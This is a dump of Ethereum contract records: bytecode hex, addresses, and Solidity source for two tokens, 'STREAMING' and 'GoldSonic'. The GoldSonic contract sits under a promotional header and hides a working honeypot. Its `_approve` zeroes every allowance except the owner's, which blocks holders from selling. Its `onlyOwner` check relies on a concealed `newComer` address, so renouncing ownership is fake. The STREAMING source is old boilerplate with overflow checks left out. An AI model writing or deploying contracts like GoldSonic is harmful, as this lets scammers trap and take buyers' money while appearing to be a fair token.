81b604482015290519081900360640190fd5b6023805460ff60a01b1916600160a01b179055601154600090600a90049050600a600f5410612463576040805162461bcd60e51b8152602060048201526015602482015274746f6b656e20756e6c6f636b20636f6d706c65746560581b604482015290519081900360640190fd5b4261248b61247c60165484612fd390919063ffffffff16565b6010549063ffffffff61335416565b11156124de576040805162461bcd60e51b815260206004820152601d60248201527f746f6b656e732063616e6e6f7420626520756e66726f7a656e20796574000000604482015290519081900360640190fd5b6000600a601354816124ec57fe5b0490504261250861247c60165485612fd390919063ffffffff16565b111580156125165750600f54155b1561260757600f80546001019055601254612537908263ffffffff6133ae16565b601255601f54612565906001600160a01b03166125606064610c5085601e63ffffffff612fd316565b612949565b5060205461258c906001600160a01b03166125606064610c5085601e63ffffffff612fd316565b506021546125b3906001600160a01b03166125606064610c5085601463ffffffff612fd316565b506022546125da906001600160a01b03166125606064610c5085600f63ffffffff612fd316565b50602354612601906001600160a01b03166125606064610c5085600563ffffffff612fd316565b506128fe565b4261262361247c60165485600202612fd390919063ffffffff16565b111580156126335750600f546001145b1561265457600f80546001019055601254612537908263ffffffff6133ae16565b4261267061247c60165485600302612fd390919063ffffffff16565b111580156126805750600f546002145b156126a157600f80546001019055601254612537908263ffffffff6133ae16565b426126bd61247c60165485600402612fd390919063ffffffff16565b111580156126cd5750600f546003145b156126ee57600f80546001019055601254612537908263ffffffff6133ae16565b4261270a61247c60165485600502612fd390919063ffffffff16565b1115801561271a5750600f546004145b1561273b57600f80546001019055601254612537908263ffffffff6133ae16565b4261275761247c60165485600602612fd390919063ffffffff16565b111580156127675750600f546005145b1561278857600f80546001019055601254612537908263ffffffff6133ae16565b426127a461247c60165485600702612fd390919063ffffffff16565b111580156127b45750600f546006145b156127d557600f80546001019055601254612537908263ffffffff6133ae16565b426127f161247c60165485600802612fd390919063ffffffff16565b111580156128015750600f546007145b1561282257600f80546001019055601254612537908263ffffffff6133ae16565b4261283e61247c60165485600902612fd390919063ffffffff16565b1115801561284e5750600f546008145b1561286f57600f80546001019055601254612537908263ffffffff6133ae16565b4261288b61247c60165485600a02612fd390919063ffffffff16565b1115801561289b5750600f546009145b1561039f57600f8054600101905560125481116128cd576012546128c5908263ffffffff6133ae16565b6012556128d8565b506012805460009091555b601f54612565906001600160a01b03166125606064610c5085601e63ffffffff612fd316565b6040805182815242602082015281517ff6742054252f94c182844c882646c1d954775ae04b2de8f83448d54154ddaf62929181900390910190a150506023805460ff60a01b19169055565b6000611022338484613161565b601d546001600160a01b031681565b601e546001600160a01b031633146129b5576040805162461bcd60e51b815260206004820152600e60248201526d1b9bdd08185d5d1a1bdc9a5e995960921b604482015290519081900360640190fd5b602354600160b01b900460ff1615612a08576040805162461bcd60e51b815260206004820152601160248201527063616e6e6f742063616c6c20747769636560781b604482015290519081900360640190fd5b6023805460ff60b01b1916600160b01b1790556008805460ff60a01b1916600160a01b179055565b600f5481565b60008111612a78576040805162461bcd60e51b815260206004820152600a6024820152691e995c9bc81a5b9c1d5d60b21b604482015290519081900360640190fd5b80612a816122ec565b1015612ad4576040805162461bcd60e51b815260206004820152601b60248201527f4572726f723a20696e73756666696369656e742062616c616e63650000000000604482015290519081900360640190fd5b612add336118de565b15612aea57612aea612de5565b33600090815260186020526040902054612b0a908263ffffffff61335416565b33600090815260186020526040902055601754612b2d908263ffffffff61335416565b601755336000818152602760205260409020429055612b4d903083613161565b60408051828152905133917f7def9f73ac6a7ac8fe4dc55f5257d48aed7e3f9d5247b0020598b87a5c369d82919081900360200190a250565b6027602052600090815260409020805460019091015482565b60115481565b3360009081526026602052604090205460ff16612bf8576040805162461bcd60e51b815260206004820152600c60248201526b3737ba10309036b4b73a32b960a11b604482015290519081900360640190fd5b602354600160a01b900460ff1615612c43576040805162461bcd60e51b815260206004820152600960248201526853796e63206c6f636b60b81b604482015290519081900360640190fd5b6023805460ff60a01b1916600160a01b17905582612c95576040805162461bcd60e51b815260206004820152600a6024820152691e995c9bc81a5b9c1d5d60b21b604482015290519081900360640190fd5b60145460ff16612da8576000612ca961102c565b9050612cb584306137a5565b83612cce82612cc261102c565b9063ffffffff6133ae16565b1015612ce357612ce081612cc261102c565b93505b6001600160a01b0383166000908152601a6020526040902054612d0c908563ffffffff61335416565b6001600160a01b0384166000908152601a6020526040902055601754612d38908563ffffffff61335416565b601755601954612d4e908563ffffffff61335416565b6019556001600160a01b038316600081815260286020908152604091829020805488019055815187815291518593927fea0fa627e5a8c6915f721a8352cdcc563f31ccea6748496c1daa6f4018cd1c9d92908290030190a3505b50506023805460ff60a01b1916905550565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b602354600160a01b900460ff1615612e30576040805162461bcd60e51b815260206004820152600960248201526853796e63206c6f636b60b81b604482015290519081900360640190fd5b6023805460ff60a01b1916600160a01b17905533600090815260186020526040902054612e8e5760405162461bcd60e51b8152600401808060200182810382526022815260200180613a7b6022913960400191505060405180910390fd5b612e97336118de565b612ed25760405162461bcd60e51b815260040180806020018281038252602f815260200180613a9d602f913960400191505060405180910390fd5b3360008181526018602052604081205491612eec90612f8a565b9050612ef833826133f0565b336000908152602760208181526040808420600181018054870190556018835290842084905591905255601754612f35908363ffffffff6133ae16565b601755612f43303384613161565b60408051838152905133917fb925ba840e2f36bcb317f8179bd8b5ed01aba4a22abf5f169162c0894dea87ab919081900360200190a250506023805460ff60a01b19169055565b6000612f9582611416565b6015546001600160a01b038416600090815260186020526040902054910190612fc6906103e863ffffffff61303316565b0292915050565b60125481565b600082612fe257506000611026565b82820282848281612fef57fe5b041461302c5760405162461bcd60e51b8152600401808060200182810382526021815260200180613b056021913960400191505060405180910390fd5b9392505050565b600061302c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506137b0565b6001600160a01b0383166130ba5760405162461bcd60e51b8152600401808060200182810382526024815260200180613b736024913960400191505060405180910390fd5b6001600160a01b0382166130ff5760405162461bcd60e51b8152600401808060200182810382526022815260200180613a336022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166131a65760405162461bcd60e51b8152600401808060200182810382526025815260200180613b4e6025913960400191505060405180910390fd5b6001600160a01b0382166131eb5760405162461bcd60e51b8152600401808060200182810382526023815260200180613a106023913960400191505060405180910390fd5b61322e81604051806060016040528060268152602001613a55602691396001600160a01b038616600090815260208190526040902054919063ffffffff6132bd16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054613263908263ffffffff61335416565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000818484111561334c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156133115781810151838201526020016132f9565b50505050905090810190601f16801561333e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008282018381101561302c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061302c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506132bd565b806001600160a01b03831661344c576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b60145460ff1661354057601b54601c54101561354057601b54601c54613478908363ffffffff61335416565b11156134ad57601c54601b546134939163ffffffff6133ae16565b601b54601c556014805460ff1916600117905590506134c4565b601c546134c0908263ffffffff61335416565b601c555b6001600160a01b0383166000908152602081905260409020546134ed908263ffffffff61335416565b6001600160a01b0384166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35b505050565b8015806135cb575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b15801561359d57600080fd5b505afa1580156135b1573d6000803e3d6000fd5b505050506040513d60208110156135c757600080fd5b5051155b6136065760405162461bcd60e51b8152600401808060200182810382526036815260200180613bc16036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b179052613540908490613815565b6000821161369a576040805162461bcd60e51b815260206004820152600a6024820152691e995c9bc81a5b9c1d5d60b21b604482015290519081900360640190fd5b60145460ff16610fb95760006136ae61102c565b90506136ba83306137a5565b826136c782612cc261102c565b10156136dc576136d981612cc261102c565b92505b6001600160a01b0382166000908152601a6020526040902054613705908463ffffffff61335416565b6001600160a01b0383166000908152601a6020526040902055601754613731908463ffffffff61335416565b601755601954613747908463ffffffff61335416565b6019556001600160a01b0382166000818152602860209081526040808320805488019055805187815290519293927fea0fa627e5a8c6915f721a8352cdcc563f31ccea6748496c1daa6f4018cd1c9d929181900390910190a3505050565b8161354082826133f0565b600081836137ff5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156133115781810151838201526020016132f9565b50600083858161380b57fe5b0495945050505050565b613827826001600160a01b03166139d3565b613878576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106138b65780518252601f199092019160209182019101613897565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613918576040519150601f19603f3d011682016040523d82523d6000602084013e61391d565b606091505b509150915081613974576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156139cd5780806020019051602081101561399057600080fd5b50516139cd5760405162461bcd60e51b815260040180806020018281038252602a815260200180613b97602a913960400191505060405180910390fd5b50505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590613a0757508115155b94935050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654572726f723a20756e73756666696369656e742066726f7a656e2062616c616e6365746f6b656e732063616e6e6f7420626520756e66726f7a656e207965742e206d696e20372064617920667265657a65746f6b656e732063616e6e6f7420626520756e66726f7a656e207965742e206d617820737570706c79206e6f74207965742072656163686564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d1063f92076745e8137f664d98ca1623da342af63a1e2dfe814f00d44ae370d164736f6c63430006040033
[ 16, 4, 7, 2 ]
0xf3a3404a3cdd35b5e2f13afa7296e9dd9055daaa
pragma solidity ^0.4.16; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract STREAMING is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. function STREAMING( ) { balances[msg.sender] = 326226226; totalSupply = 326226226; name = "STREAMING"; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = "STR"; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d0578063313ce5671461024957806354fd4d501461027857806370a082311461030657806395d89b4114610353578063a9059cbb146103e1578063cae9ca511461043b578063dd62ed3e146104d8575b34156100ba57600080fd5b600080fd5b34156100ca57600080fd5b6100d2610544565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105e2565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba6106d4565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106da565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c610953565b604051808260ff1660ff16815260200191505060405180910390f35b341561028357600080fd5b61028b610966565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102cb5780820151818401526020810190506102b0565b50505050905090810190601f1680156102f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561031157600080fd5b61033d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a04565b6040518082815260200191505060405180910390f35b341561035e57600080fd5b610366610a4c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a657808201518184015260208101905061038b565b50505050905090810190601f1680156103d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ec57600080fd5b610421600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610aea565b604051808215151515815260200191505060405180910390f35b341561044657600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610c50565b604051808215151515815260200191505060405180910390f35b34156104e357600080fd5b61052e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610eed565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105da5780601f106105af576101008083540402835291602001916105da565b820191906000526020600020905b8154815290600101906020018083116105bd57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107a6575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156107b25750600082115b1561094757816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061094c565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109fc5780601f106109d1576101008083540402835291602001916109fc565b820191906000526020600020905b8154815290600101906020018083116109df57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ae25780601f10610ab757610100808354040283529160200191610ae2565b820191906000526020600020905b815481529060010190602001808311610ac557829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b3a5750600082115b15610c4557816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610c4a565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610e91578082015181840152602081019050610e76565b50505050905090810190601f168015610ebe5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af1925050501515610ee257600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a72305820a2f46d157d2fb67c9e1d3da7b67381bf876fe564922fd2a281b0d48d361c759e0029
[ 38 ]
0xf3a3a57a1af8c1a6b6d3db335253e9e260fb321a
/* The FINAL of the TRILOGY in our ecosystem has arrived. GOLD SONIC is the most epic character in the Sonic games and many of us needed to use a cheat code in order to get him. But now, he’s OURS $TAILS ecosystem to the moon! Tokenomics 🌟 1M Total Supply ⭐️ ZERO Burn 🟡 10% Gold tax on all transactions 🏆 CG & CMC Fast-tracked https://t.me/GoldSonicToken */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract GoldSonic is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**3 * 10**18; string private _name = ' Gold Sonic '; string private _symbol = 'GSONIC'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020